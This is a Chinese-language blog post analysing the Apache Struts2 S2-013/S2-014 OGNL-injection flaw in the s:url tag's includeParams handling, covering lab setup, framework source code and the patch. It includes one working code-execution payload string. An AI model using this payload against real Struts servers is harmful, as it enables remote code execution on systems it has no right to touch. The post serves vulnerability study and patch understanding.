struts2系列漏洞 S2-013/S2-014

前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

S2-013 和 S2-014 是同一个漏洞,014 是 013 的绕过,最后都在同一个版本修复了。


环境搭建

2.3.14.1 版本的 struts2 + Tomcat 9。

修改 jsp 文件,加上一句:

1
<s:url id="url" action="login" includeParams="all" />

漏洞利用

阅读漏洞通告,问题发生在 s:url/s:a 标签的 includeParams 属性,他们在根据这个属性处理 HTTP 参数的时候会进行表达式解析,payload 如下:

1
data=%25{#_memberAccess['allowStaticMethodAccess']=true,#context['xwork.MethodAccessor.denyMethodExecution']=false,@java.lang.Runtime@getRuntime().exec("calc")}

漏洞分析

看到 s:url 标签生成 URL 时会调用的 DefaultUrlHelper 类的 buildParametersString 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Iterator iter = params.entrySet().iterator();

while(iter.hasNext()) {
Entry<String, Object> entry = (Entry)iter.next();
String name = (String)entry.getKey();
Object value = entry.getValue();
if (value instanceof Iterable) {
...
} else if (value instanceof Object[]) {
Object[] array = (Object[])((Object[])value);

for(int i = 0; i < array.length; ++i) {
Object paramValue = array[i];
link.append(this.buildParameterSubstring(name, paramValue.toString()));
if (i < array.length - 1) {
link.append(paramSeparator);
}
}
} else {
...
}

if (iter.hasNext()) {
link.append(paramSeparator);
}
}

遍历了传递的参数,然后调用了 buildParameterSubstring 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private String buildParameterSubstring(String name, String value) {
StringBuilder builder = new StringBuilder();
builder.append(translateAndEncode(name));
builder.append('=');
builder.append(translateAndEncode(value));
return builder.toString();
}

public String translateAndEncode(String input) {
String translatedInput = translateVariable(input);
try {
return URLEncoder.encode(translatedInput, encoding);
} catch (UnsupportedEncodingException e) {
if (LOG.isWarnEnabled()) {
LOG.warn("Could not encode URL parameter '#0', returning value un-encoded", input);
}
return translatedInput;
}
}

translateVariable 方法最后会来到之前看到过的 OgnlTextParser 方法的 evaluate 方法进行了解析。

漏洞修复

在 2.3.14.3 版本中,buildParameterSubstring 方法中去掉了表达式解析的部分,只剩下 URL 编码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private String buildParameterSubstring(String name, String value) {
StringBuilder builder = new StringBuilder();
builder.append(encode(name));
builder.append('=');
builder.append(encode(value));
return builder.toString();
}

public String encode( String input ) {
try {
return URLEncoder.encode(input, encoding);
} catch (UnsupportedEncodingException e) {
if (LOG.isWarnEnabled()) {
LOG.warn("Could not encode URL parameter '#0', returning value un-encoded", input);
}
return input;
}
}

Orz


struts2系列漏洞 S2-013/S2-014
http://yoursite.com/2020/07/23/struts2系列漏洞-S2-013/
作者
Aluvion
发布于
2020年7月23日
许可协议